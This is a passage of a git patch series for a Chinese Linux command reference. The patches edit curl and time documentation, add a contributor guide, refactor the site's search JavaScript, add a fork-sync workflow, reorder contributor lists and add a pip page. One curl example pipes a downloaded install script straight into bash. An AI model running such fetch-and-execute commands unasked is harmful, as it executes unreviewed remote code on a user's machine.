"param1=value1¶m2=value2" "http://www.wangchujiang.com/login" +$ curl -d "param1=value1¶m2=value2" "http://www.example.com/login" -curl -d'login=emma＆password=123' -X POST https://wangchujiang.com/login +$ curl -d'login=emma＆password=123' -X POST https://example.com/login # 或者 -$ curl -d 'login=emma' -d 'password=123' -X POST https://wangchujiang.com/login +$ curl -d 'login=emma' -d 'password=123' -X POST https://example.com/login ``` - `--data-urlencode` 参数等同于 `-d`，发送 `POST` 请求的数据体，区别在于会自动将发送的数据进行 `URL` 编码。 ```shell -curl --data-urlencode 'comment=hello world' https://wangchujiang.com/login +curl --data-urlencode 'comment=hello world' https://example.com/login # 上面代码中，发送的数据hello world之间有一个空格，需要进行 URL 编码。 ``` -**读取本地文本文件的数据，向服务器发送** +#### **发送本地文件中的文字** ```shell -curl -d '@data.txt' https://wangchujiang.com/upload +curl -d '@data.txt' https://example.com/upload # 读取data.txt文件的内容，作为数据体向服务器发送。 ``` -**json格式的post请求** +#### **JSON 格式的 POST 请求** ```shell -curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13521389587","password":"test"}' http://wangchujiang.com/apis/users.json +curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13888888888","password":"test"}' http://example.com/apis/users.json ``` -**向服务器发送 Cookie** +#### **向服务器发送 Cookie** 使用`--cookie "COKKIES"`选项来指定cookie，多个cookie使用分号分隔： ```shell -curl http://wangchujiang.com --cookie "user=root;pass=123456" +curl http://example.com --cookie "user=root;pass=123456" ``` 将cookie另存为一个文件，使用`--cookie-jar`选项： @@ -292,95 +298,94 @@ curl http://wangchujiang.com --cookie "user=root;pass=123456" curl URL --cookie-jar cookie_file ``` - `-b` 参数用来向服务器发送 Cookie。 ```shell -curl -b 'foo=bar' https://taobao.com +curl -b 'foo=bar' https://example.com # 上面命令会生成一个标头Cookie: foo=bar，向服务器发送一个名为foo、值为bar的 Cookie。 ``` ```shell -curl -b 'foo1=bar' -b 'foo2=baz' https://taobao.com +curl -b 'foo1=bar' -b 'foo2=baz' https://example.com # 上面命令发送两个 Cookie。 ```shell -curl -b cookies.txt https://www.taobao.com +curl -b cookies.txt https://www.example.com # 上面命令读取本地文件 cookies.txt，里面是服务器设置的 Cookie（参见-c参数），将其发送到服务器。 ``` -**Cookie 写入一个文件** +#### **Cookie 写入一个文件** ```shell -curl -c cookies.txt https://www.taobao.com +curl -c cookies.txt https://www.example.com # 上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件cookies.txt。 ``` -**请求的来源** +#### **请求的来源** `-e` 参数用来设置 `HTTP` 的标头 `Referer`，表示请求的来源。 ```shell -curl -e 'https://taobao.com?q=example' https://www.example.com -# 上面命令将Referer标头设为 https://taobao.com?q=example。 +curl -e 'https://example.com?q=example' https://www.example.com +# 上面命令将Referer标头设为 https://example.com?q=example。 ``` `-H` 参数可以通过直接添加标头 `Referer`，达到同样效果。 ```shell -curl -H 'Referer: https://taobao.com?q=example' https://www.example.com +curl -H 'Referer: https://example.com?q=example' https://www.example.com ``` -**上传二进制文件** +#### **上传二进制文件** `-F` 参数用来向服务器上传二进制文件。 ```shell -curl -F 'file=@photo.png' https://taobao.com/profile +curl -F 'file=@photo.png' https://example.com/profile # 上面命令会给 HTTP 请求加上标头 Content-Type: multipart/form-data ，然后将文件photo.png作为file字段上传。 ``` `-F` 参数可以指定 `MIME` 类型。 ```shell -curl -F 'file=@photo.png;type=image/png' https://taobao.com/profile +curl -F 'file=@photo.png;type=image/png' https://example.com/profile # 上面命令指定 MIME 类型为image/png，否则 curl 会把 MIME 类型设为 application/octet-stream。 ``` `-F` 参数也可以指定文件名。 ```shell -curl -F 'file=@photo.png;filename=me.png' https://taobao.com/profile +curl -F 'file=@photo.png;filename=me.png' https://example.com/profile # 上面命令中，原始文件名为photo.png，但是服务器接收到的文件名为me.png。 ``` -**设置请求头** +#### **设置请求头** `-H` 参数添加 `HTTP` 请求的标头。 ```shell -curl -H 'Accept-Language: en-US' https://google.com +curl -H 'Accept-Language: en-US' https://example.com # 上面命令添加 HTTP 标头 Accept-Language: en-US。 ``` ```shell -curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://google.com +curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://example.com # 上面命令添加两个 HTTP 标头。 ``` ```shell -curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://google.com/login +curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://example.com/login # 上面命令添加 HTTP 请求的标头是 Content-Type: application/json，然后用 -d 参数发送 JSON 数据。 ``` -**跳过 SSL 检测** +#### **跳过 SSL 检测** ```shell curl -k https://www.example.com # 上面命令不会检查服务器的 SSL 证书是否正确。 ``` -**请求跟随服务器的重定向** +#### **请求跟随服务器的重定向** `-L` 参数会让 `HTTP` 请求跟随服务器的重定向。`curl` 默认不跟随重定向。 @@ -388,7 +393,26 @@ curl -k https://www.example.com curl -L -d 'tweet=hi' https://api.example.com/tweet ``` -**调试参数** +值得注意的是，这种重定向方式不适用于在返回的 HTML 中的重定向，比如这种是不被 curl 识别的重定向(这部分内容由 `curl -v -L ` 生成) + +```curl +* Connected to example.com (*.*.*.*) port 80 (#0) +> GET / HTTP/1.1 +> Host: example.com +> User-Agent: curl/8.0.1 +> Accept: */* +> +< HTTP/1.1 200 OK +.... +< Content-Type: text/html +< + + + + +``` + +#### **调试参数** `-v` 参数输出通信的整个过程，用于调试。 @@ -398,17 +422,16 @@ curl -v https://www.example.com ``` ```shell -$ curl --trace - https://www.example.com +curl --trace - https://www.example.com ``` -**获取本机外网ip** +#### **获取本机外网 IP** ```shell curl ipecho.net/plain ``` - -**使用 curl 测试网站加载速度** +#### **使用 curl 测试网站加载速度** 命令有一个鲜为人知的选项，`-w`，该选项在请求结束之后打印本次请求的统计数据到标准输出。 @@ -428,7 +451,6 @@ Total Time:\t\t\t%{time_total}s\n curl 提供了很多置换变量，可以在格式化字符串中通过 `%{var}` 的形式使用。完整的变量列表可以在 `curl` 的 `manpage` 中查看。简单介绍一下我们使用的这几个变量： - - `url_effective`: 执行完地址重定向之后的最终 URL； - `time_namelookup`: 从请求开始至完成名称解析所花的时间，单位为秒，下同； - `time_redirect`: 执行所有重定向所花的时间； @@ -441,7 +463,7 @@ curl 提供了很多置换变量，可以在格式化字符串中通过 `%{var}` 然后执行请求，通过 @filename 指定保存了格式化字符串的文件： ```shell -$ curl -L -s -w @fmt.txt -o /dev/null http://www.google.com +curl -L -s -w @fmt.txt -o /dev/null http://www.example.com ``` 输出： @@ -459,10 +481,10 @@ Start-transfer Time: 0.260115s Total Time: 0.467691s ``` -### 要求返回是压缩的状态 +#### **要求返回是压缩的状态** ```shell -▶ curl --compressed -o- -L https://yarnpkg.com/install.sh | bash +$ curl --compressed -o- -L https://yarnpkg.com/install.sh | bash % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 54 100 54 0 0 42 0 0:00:01 0:00:01 --:--:-- 42 @@ -484,6 +506,3 @@ Installing Yarn! 100 647 100 647 0 0 1283 0 --:--:-- --:--:-- --:--:-- 1283 100 832 100 832 0 0 1107 0 --:--:-- --:--:-- --:--:-- 812k ``` - - - diff --git a/command/time.md b/command/time.md index c46ff23412e..2494099cf26 100644 --- a/command/time.md +++ b/command/time.md @@ -5,24 +5,28 @@ time ## 补充说明 -**time命令** 用于统计给定命令所花费的总时间。 +`time` 命令是用来确定一个给定的命令需要运行多长时间。它对于测试你的脚本和命令的性能很有用。 -### 语法 +例如，如果你有两个不同的脚本在做同样的工作，你想知道哪一个表现得更好，你可以用 Linux 的时间命令来确定每个脚本的执行时间。 + +该指令是 shell 内指令，也是一个软件包，**对于软件包的说明在这篇文档靠下的部分** + +## 语法 ```shell -time(参数) +time <指令> ``` -### 参数 +## 参数 指令：指定需要运行的额指令及其参数。 -### 实例 +## 实例 当测试一个程序或比较不同算法时，执行时间是非常重要的，一个好的算法应该是用时最短的。所有类UNIX系统都包含time命令，使用这个命令可以统计时间消耗。例如： ```shell -[root@localhost ~]# time ls +$ time ls anaconda-ks.cfg install.log install.log.syslog satools text real 0m0.009s @@ -30,13 +34,56 @@ user 0m0.002s sys 0m0.007s ``` -输出的信息分别显示了该命令所花费的real时间、user时间和sys时间。 +这里的输出会因为使用的发行版本不同而导致展示的结果不同，比如： + +```shell +# Bash +real 0m33.961s +user 0m0.340s +sys 0m0.940s + +# Zsh +0.34s user 0.94s system 4% cpu 33.961 total + +# GNU time (sh) +0.34user 0.94system 0:33.96elapsed 4%CPU (0avgtext+0avgdata 6060maxresident)k +0inputs+201456outputs (0major+315minor)pagefaults 0swaps +``` + +`real` 或者 `total` 或者 `elapsed`（挂钟时间）是指从调用开始到结束的时间。它是指从你按下回车键的那一刻开始，到命令完成的那一刻为止的时间。 +user - 在用户模式下花费的CPU时间。 +system 或 sys - 在内核模式下花费的CPU时间。 + +## 软件包 + +接下来的部分是关于 `time` 软件包提供的 `/usr/bin/time` 二进制可执行程序，而不是 shell 内建的 time 命令。 + +### 软件包的语法 + +一些 shells（例如 `bash` ）有一个内置的 `time` 命令，提供类似的关于时间和可能的其他资源的使用信息。 + +要访问真正的命令，可能需要指定其路径名（类似于`/usr/bin/time`）。 + +```shell +time [options] command [arguments...] +``` + +### 软件包指令参数 -* real时间是指挂钟时间，也就是命令开始执行到结束的时间。这个短时间包括其他进程所占用的时间片，和进程被阻塞时所花费的时间。 -* user时间是指进程花费在用户模式中的CPU时间，这是唯一真正用于执行进程所花费的时间，其他进程和花费阻塞状态中的时间没有计算在内。 -* sys时间是指花费在内核模式中的CPU时间，代表在内核中执系统调用所花费的时间，这也是真正由进程使用的CPU时间。 +-f format, --format=format +指定输出格式，可能覆盖环境变量TIME中指定的格式。 +-p, --portability + 使用可移植的输出格式。 +-o file, --output=file + 不将结果发送到stderr，而是覆盖指定的文件。 +-a, --append + (与-o一起使用。)不覆盖而是附加。 +-v, --verbose + 对程序知道的所有信息进行非常详细的输出。 +-q, --quiet + 不报告异常的程序终止（当命令被信号终止时）或非零退出状态。 -shell内建也有一个time命令，当运行time时候是调用的系统内建命令，因为系统内建的功能有限，所以需要时间其他功能需要使用time命令可执行二进制文件`/usr/bin/time`。 +### 软件包实例 使用`-o`选项将执行时间写入到文件中： @@ -74,3 +121,8 @@ shell内建也有一个time命令，当运行time时候是调用的系统内建 `%w` | 进程主动进行上下文切换的次数，例如等待I/O操作完成。 `%c` | 进程被迫进行上下文切换的次数（由于时间片到期）。 +## 参考资料 + +- Linux Time Command | Linuxize +- time(1) — Arch manual pages +- Time - ArchWiki From 8ea28b9d4565e4429c2ed0ed4a5861786553a156 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9B=E6=9E=97=E6=84=8F=E5=BF=97?= Date: Wed, 26 Apr 2023 13:48:38 +0800 Subject: [PATCH 0674/1019] =?UTF-8?q?fix(index.js):=E4=BF=AE=E5=A4=8D?= =?UTF-8?q?=E6=89=BE=E4=B8=8D=E5=88=B0=E8=AF=8D=E6=9D=A1=E7=9A=84=E6=96=87?= =?UTF-8?q?=E5=AD=97=E6=98=BE=E7=A4=BA=E9=94=99=E8=AF=AF=20(#490)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(curl,time):格式化内容，并参考 #359 #352 修改文档 * fix(index.js):修复找不到词条的文字显示错误 * docs:对于未来的贡献者提出了明确的要求和提示 * docs:对于未来的贡献者提出了明确的要求和提示 --- maintainers.md | 60 ++++++++ template/js/index.js | 322 ++++++++++++++++++++++++------------------- 2 files changed, 243 insertions(+), 139 deletions(-) create mode 100644 maintainers.md diff --git a/maintainers.md b/maintainers.md new file mode 100644 index 00000000000..48e19e5b475 --- /dev/null +++ b/maintainers.md @@ -0,0 +1,60 @@ +# 贡献者约定 + +感谢您对本项目提交贡献，为了便于维护者管理，请各位维护人员遵循以下约定 + +## 如果您希望提交一个命令 + +命令的存放位置在 `./command/` 文件夹中 + +1. 在这里创建一个 `[CommandName].md` 文件，比如 `pacman.md` +2. 打开文件，键入指令在终端中执行的命令 +3. 第二行输入三个等号 +4. 创建二级标题“补充说明”，并且在这个标题下面创建至少下面几个三级标题 + - 语法 + - 选项 + - 参数 + +按照预期，文档应该是这样的 + +```markdown +CommandName +=== +作为代码规范文档进行展示 + +## 补充说明 + +**CommandName命令** 是用于演示的文档 + +### 语法 + +(具体编写文档时，请使用 shell 代码块包裹以下内容) + +CommandName <-abcdABCD> <必选参数> [可选参数] + +### 选项 + +(具体编写文档时，请使用 shell 代码块包裹以下内容) + +-a xxxxx +-b xxxxx +... +-C xxxxx +-D xxxxx + +### 参数 + +(具体编写文档时，请使用 shell 代码块包裹以下内容) + +可选参数：一般情况下可以不给出 + +``` + +## 如果您希望维护前端页面 + +- 请确保您的代码可以完整的运行在最新的 Chromium 和 Safari 浏览器 (#489) + +## 对于提交信息的其他规范 + +- 约定式提交 +- 中文文案排版指北 +- 扉页 — Google 开源项目风格指南 diff --git a/template/js/index.js b/template/js/index.js index e1b9551bd32..0bd462949d6 100644 --- a/template/js/index.js +++ b/template/js/index.js @@ -1,142 +1,191 @@ +/** +* 对数组进行排序，作为 Array.sort() 回调函数使用 +*/ +const sortArray = function (a, b) { + return a.nIdx - b.nIdx; +} +/** + * 判断 indexOf() 是否捕获到了搜索词 + * @returns {boolean} 是否捕获 + */ +function indexOfCatch(a) { + return a > -1 +} (function () { - function Commands() { - var $$ = this.$$; - this.commands = linux_commands || []; - this.elm_query = $$('query'); - this.elm_btn = $$('search_btn'); - this.elm_result = $$('result'); - this.elm_search_result = $$('search_list_result'); - - // 获取根路径 - this.root_path = (function () { - var elm_path = $$('current_path'); - var url = window.location.origin + window.location.pathname; - return elm_path ? url.replace(/\/(c\/)?(\w|-)+\.html/, '').replace(/\/$/, '') : ''; - })(); - - this.query = ''; // - this.query_size = 5; //搜索框结果显示5条 - this.page_size = 50; //每页显示20条 + class Commands { + query = '' + query_size = 5 //搜索框结果显示5条 + page_size = 50 //每页显示20条 + $$(id) { + return document.getElementById(id) + } + constructor() { + function $$(id) { + return document.getElementById(id) + } + this.commands = linux_commands || []; + this.elm_query = $$('query'); + this.elm_btn = $$('search_btn'); + this.elm_result = $$('result'); + this.elm_search_result = $$('search_list_result'); - this.init() - this.goToIndex() - } + // 获取根路径 + this.root_path = (function () { + let elm_path = $$('current_path'); + let url = window.location.origin + window.location.pathname; + return elm_path ? url.replace(/\/(c\/)?(\w|-)+\.html/, '').replace(/\/$/, '') : ''; + })(); - Commands.prototype = { - $$: function (id) { - return document.getElementById(id) - }, - goToIndex: function () { - var elma = document.getElementsByTagName('A'); - for (var i = 0; i < elma.length; i++) { + this.init(); + this.goToIndex(); + } + /** + * 前往主页 + * @memberof Commands + */ + goToIndex() { + let elma = document.getElementsByTagName('A'); + for (let i = 0; i < elma.length; i++) { if (elma[i].pathname === '/' && !/^https?:/i.test(elma[i].protocol)) { elma[i].href = this.root_path + '/'; } } - }, - bindEvent: function (elm, type, handle) { - if (elm.addEventListener) { - elm.addEventListener(type, handle, false); - } else if (elm.attachEvent) { - elm.attachEvent('on' + type, handle); + } + /** + * 绑定事件 + * 该函数有兼容性处理 + * @param {HTMLElement} element 需要绑定事件的元素 + * @param {*} type 需要绑定的类型 + * @param {*} callback 事件触发回调 + * @memberof Commands + */ + bindEvent(element, type, callback) { + if (element.addEventListener) { + element.addEventListener(type, callback, false); + } else if (element.attachEvent) { + element.attachEvent('on' + type, callback); } - }, - isSreachIndexOF: function (oldstr, kw) { + } + isSreachIndexOF(oldstr, kw) { if (!oldstr || !kw) return -1; return oldstr.toLowerCase().indexOf(kw.toLowerCase()); - }, + } //获取URL上面的参数 - getQueryString: function (name) { - var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); - var r = decodeURIComponent(window.location.hash.replace(/^(\#\!|\#)/, '')).match(reg); + getQueryString(name) { + let reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + let r = decodeURIComponent(window.location.hash.replace(/^(\#\!|\#)/, '')).match(reg); if (r != null) return unescape(r[2]); return null; - }, - pushState: function () { + } + /** + * 通过 window.history 设置地址栏的地址 + * @memberof Commands + */ + pushState() { if (window.history && window.history.pushState) - this.query ? history.pushState({}, "linux_commands", "#!kw=" + this.query) : + if (this.query) { + history.pushState({}, "linux_commands", `#!kw=${this.query}`) + } else { history.pushState({}, "linux_commands", window.location.pathname); - }, - //简单模版 - simple: function (str, obj) { + } + } + /** + * 一个简单的模板函数 + * + * @param {string} str 传入的 HTML 模板 + * @param {object} obj 一个对象，用于放置在 HTML 模板中 + * @return {string} 经过处理的 HTML 模板 + * @memberof Commands + */ + simple(str, obj) { return str.replace(/\$\w+\$/gi, function (matchs) { - var returns = obj[matchs.replace(/\$/g, "")]; + let returns = obj[matchs.replace(/\$/g, "")]; return typeof returns === "undefined" ? "" : returns; }) - }, - createKeyworldsHTML: function (json, keywolds, islist) { - var name = json.n, des = json.d, self = this, - reg = new RegExp("(" + keywolds + ")", "ig"), - str = ''; + } + /**创建 keyworlds HTML + * @param {*} json 根据这段 JSON 生成 + * @param {*} keywolds 关键字 + * @param {*} islist 表示这是否是一个列表 + * @return {*} 返回一个 HTML 字符串 + */ + createKeyworldsHTML(json, keywolds, islist) { + const listHTML = '

From 449a8c608e7cf0136f820d7d2517c08f7e3d984c Mon Sep 17 00:00:00 2001 From: gggwvg Date: Mon, 15 Jan 2024 12:18:27 +0800 Subject: [PATCH 0807/1019] chore: add sync.yml (#554) * Create sync.yml * doc: update README.md. * doc: update template/contributors.ejs. --------- Co-authored-by: github-actions[bot] --- .github/workflows/sync.yml | 40 ++++++++++++++++++++++++++++++++++ README.md | 44 +++++++++++++++++++------------------- template/contributors.ejs | 44 +++++++++++++++++++------------------- 3 files changed, 84 insertions(+), 44 deletions(-) create mode 100644 .github/workflows/sync.yml diff --git a/.github/workflows/sync.yml b/.github/workflows/sync.yml new file mode 100644 index 00000000000..be5cd36a5cd --- /dev/null +++ b/.github/workflows/sync.yml @@ -0,0 +1,40 @@ +name: Upstream Sync + +permissions: + contents: write + +on: + schedule: + - cron: "0 0 * * *" # every day + workflow_dispatch: + +jobs: + sync_latest_from_upstream: + name: Sync latest commits from upstream repo + runs-on: ubuntu-latest + if: ${{ github.event.repository.fork }} + + steps: + # Step 1: run a standard checkout action + - name: Checkout target repo + uses: actions/checkout@v3 + + # Step 2: run the sync action + - name: Sync upstream changes + id: sync + uses: aormsby/Fork-Sync-With-Upstream-action@v3.4 + with: + upstream_sync_repo: jaywcjlove/linux-command + upstream_sync_branch: master + target_sync_branch: master + target_repo_token: ${{ secrets.GITHUB_TOKEN }} # automatically generated, no need to set + + # Set test_mode true to run tests instead of the true action!! + test_mode: false + + - name: Sync check + if: failure() + run: | + echo "[Error] 由于上游仓库的 workflow 文件变更，导致 GitHub 自动暂停了本次自动更新，你需要手动 Sync Fork 一次。" + echo "[Error] Due to a change in the workflow file of the upstream repository, GitHub has automatically suspended the scheduled automatic update. You need to manually sync your fork." + exit 1 diff --git a/README.md b/README.md index 3eccc26dd57..e7fae63a217 100644 --- a/README.md +++ b/README.md @@ -438,14 +438,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -459,32 +459,32 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 wVVaTT - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD - - Xingwen Zhang + + gggwvg - - Xrtero + + Dazhuangw YH - - Dazhuangw + + Xrtero - - shc + + Xingwen Zhang sfwwslm @@ -498,6 +498,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 noodles2hg + + shc + myliwenbo @@ -540,9 +543,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ghy - - gggwvg - gesty @@ -564,6 +564,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday + + Rocher + 黑&蛋 @@ -651,9 +654,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - Rocher - Robigus diff --git a/template/contributors.ejs b/template/contributors.ejs index 08c2b67443e..ca18d626239 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -75,14 +75,14 @@ James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -96,32 +96,32 @@ wVVaTT - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD - - Xingwen Zhang + + gggwvg - - Xrtero + + Dazhuangw YH - - Dazhuangw + + Xrtero - - shc + + Xingwen Zhang sfwwslm @@ -135,6 +135,9 @@ noodles2hg + + shc + myliwenbo @@ -177,9 +180,6 @@ ghy - - gggwvg - gesty @@ -201,6 +201,9 @@ dayday + + Rocher + 黑&蛋 @@ -288,9 +291,6 @@ snovey - - Rocher - Robigus From 5fb70084333f49e5e5a0b97ba8fd3a7cea35c83a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 15 Jan 2024 04:18:56 +0000 Subject: [PATCH 0808/1019] doc: update README.md. --- README.md | 44 ++++++++++++++++++++++---------------------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/README.md b/README.md index e7fae63a217..3eccc26dd57 100644 --- a/README.md +++ b/README.md @@ -438,14 +438,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - alfred + + Qliangw Wang Jianing - - Qliangw + + alfred 沙漠之子 @@ -459,32 +459,32 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 wVVaTT - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD - - gggwvg + + Xingwen Zhang - - Dazhuangw + + Xrtero YH - - Xrtero + + Dazhuangw - - Xingwen Zhang + + shc sfwwslm @@ -498,9 +498,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 noodles2hg - - shc - myliwenbo @@ -543,6 +540,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ghy + + gggwvg + gesty @@ -564,9 +564,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday - - Rocher - 黑&蛋 @@ -654,6 +651,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey + + Rocher + Robigus From 646e1410f8181fddf55ee70144e3fc3935923189 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 15 Jan 2024 04:18:57 +0000 Subject: [PATCH 0809/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 44 +++++++++++++++++++-------------------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ca18d626239..08c2b67443e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -75,14 +75,14 @@ James Wang - - alfred + + Qliangw Wang Jianing - - Qliangw + + alfred 沙漠之子 @@ -96,32 +96,32 @@ wVVaTT - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD - - gggwvg + + Xingwen Zhang - - Dazhuangw + + Xrtero YH - - Xrtero + + Dazhuangw - - Xingwen Zhang + + shc sfwwslm @@ -135,9 +135,6 @@ noodles2hg - - shc - myliwenbo @@ -180,6 +177,9 @@ ghy + + gggwvg + gesty @@ -201,9 +201,6 @@ dayday - - Rocher - 黑&蛋 @@ -291,6 +288,9 @@ snovey + + Rocher + Robigus From 3d4819b11922819c119d0422d66d86679c302706 Mon Sep 17 00:00:00 2001 From: Shan Chenyu <103872353+ischenyu@users.noreply.github.com> Date: Tue, 16 Jan 2024 19:08:33 +0800 Subject: [PATCH 0810/1019] feat: add pip.md (#556) * doc: update README.md. * doc: update template/contributors.ejs. * Create pip * doc: update README.md. * doc: update template/contributors.ejs. * Rename pip to pip.md * doc: update README.md. * doc: update template/contributors.ejs. --------- Co-authored-by: github-actions[bot] --- README.md | 74 +++++++++--------- command/pip.md | 158 ++++++++++++++++++++++++++++++++++++++ template/contributors.ejs | 74 +++++++++--------- 3 files changed, 232 insertions(+), 74 deletions(-) create mode 100644 command/pip.md diff --git a/README.md b/README.md index 3eccc26dd57..92ee465465b 100644 --- a/README.md +++ b/README.md @@ -387,23 +387,20 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 clay-wangzhi - - Glett + + 烟草的香味 项金 - - 烟草的香味 - - - Jayin Tang + + Glett 丛林意志 - - Zijing Zhang + + Jayin Tang Fubin Zhang @@ -411,6 +408,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN + + Zijing Zhang + ernest @@ -429,6 +429,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 lavaicer + + Shan Chenyu + SteveLauC @@ -438,14 +441,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -459,29 +462,32 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 wVVaTT - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD - - Xingwen Zhang + + gggwvg - - Xrtero + + Dazhuangw YH - - Dazhuangw + + Xrtero + + + Xingwen Zhang shc @@ -495,6 +501,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver + + 黑&蛋 + noodles2hg @@ -540,9 +549,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ghy - - gggwvg - gesty @@ -564,9 +570,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday - - 黑&蛋 - Panthea Johnson @@ -651,8 +654,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - Rocher + + cxalc Robigus @@ -735,9 +738,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Alan - - cxalc - Forever121 @@ -807,9 +807,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azolla - - Shan Chenyu - SevenSteven @@ -818,6 +815,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 殇 + + + Rocher 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 diff --git a/command/pip.md b/command/pip.md new file mode 100644 index 00000000000..281c0b5f335 --- /dev/null +++ b/command/pip.md @@ -0,0 +1,158 @@ +pip +=== + +Python的库管理工具。 + + +``` +用法： + pip <命令> [选项] + +命令： + install 安装包。 + download 下载包。 + uninstall 卸载包。 + freeze 以requirements格式输出已安装的包。 + inspect 检查 Python 环境。 + list 列出已安装的包。 + show 显示有关已安装包的信息。 + check 验证已安装的包是否具有兼容的依赖关系。 + config 管理本地和全局配置。 + search 在 PyPI 搜索包。 + cache 检查和管理 pip 的wheel缓存。 + index 检查从软件包索引中获取的信息。 + wheel 从你的要求构建wheels。 + hash 计算包存档的哈希值。 + completion 用于命令完成的辅助命令。 + debug 显示用于调试的有用信息。 + help 显示命令的帮助信息。 + +通用选项： + -h, --help 显示帮助。 + --debug 允许未处理的异常传播到主要子例程之外，而不是将其记录到stderr。 + --isolated 在隔离模式下运行 pip，忽略环境变量和用户配置。 + --require-virtualenv 允许 pip 仅在虚拟环境中运行；否则退出并显示错误。 + --python 使用指定的 Python 解释器运行 pip。 + -v, --verbose 提供更多输出。该选项是可叠加的，最多可使用3次。 + -V, --version 显示版本并退出。 + -q, --quiet 提供更少的输出。该选项是可叠加的，最多可使用3次（对应 WARNING、ERROR 和 CRITICAL 日志级别）。 + --log 要附加日志的路径。 + --no-input 禁用输入提示。 + --keyring-provider + 如果允许用户输入，则启用通过 keyring 库进行凭据查找。指定要使用的机制[disabled, import, subprocess]。（默认: disabled） + --proxy 指定代理，格式为 scheme://[user:passwd@]proxy.server:port。 + --retries 每个连接应尝试的最大次数（默认5次）。 + --timeout 设置套接字超时（默认15秒）。 + --exists-action 当路径已经存在时的默认操作：(s)切换，(i)忽略，(w)擦除，(b)备份，(a)中止。 + --trusted-host 将此主机或主机:端口对标记为可信，即使它没有有效或任何 HTTPS。 + --cert PEM编码的CA证书包的路径。如果提供，将覆盖默认值。有关更多信息，请参阅 pip 文档中的 'SSL证书验证'。 + --client-cert SSL客户端证书的路径，一个包含私钥和PEM格式的证书的单个文件。 + --cache-dir

在 中存储缓存数据。 + --no-cache-dir 禁用缓存。 + --disable-pip-version-check + 不定期检查 PyPI 是否有可下载的 pip 新版本。与 --no-index 隐含。 + --no-color 抑制有色输出。 + --no-python-version-warning + 对即将不受支持的 Python 沉默弃用警告。 + --use-feature 启用可能不向后兼容的新功能。 + --use-deprecated 启用在将来将被删除的已弃用功能。 +``` + +## 安装 + +Pip 是 Python 的包管理工具，通常随着 Python 的安装一起安装。确保你的 Python 版本是 3.4 或更高版本。 + +```bash +# Ubuntu系统 +sudo apt install python3-pip +``` +```badh +# CentOS +sudo yum install python3-pip +``` +如果需要更新 Pip，可以运行以下命令： + +```bash +python -m pip install --upgrade pip +``` + +## 安装包 + +通过 Pip 安装 Python 包非常简单。使用以下命令： + +```bash +pip install +``` + +例如，安装一个名为 `requests` 的包： + +```bash +pip install requests +``` + +## 卸载包 + +要卸载已安装的包，使用以下命令： + +```bash +pip uninstall package_name +``` + +例如，卸载 `requests` 包： + +```bash +pip uninstall requests +``` + +## 查看已安装的包 + 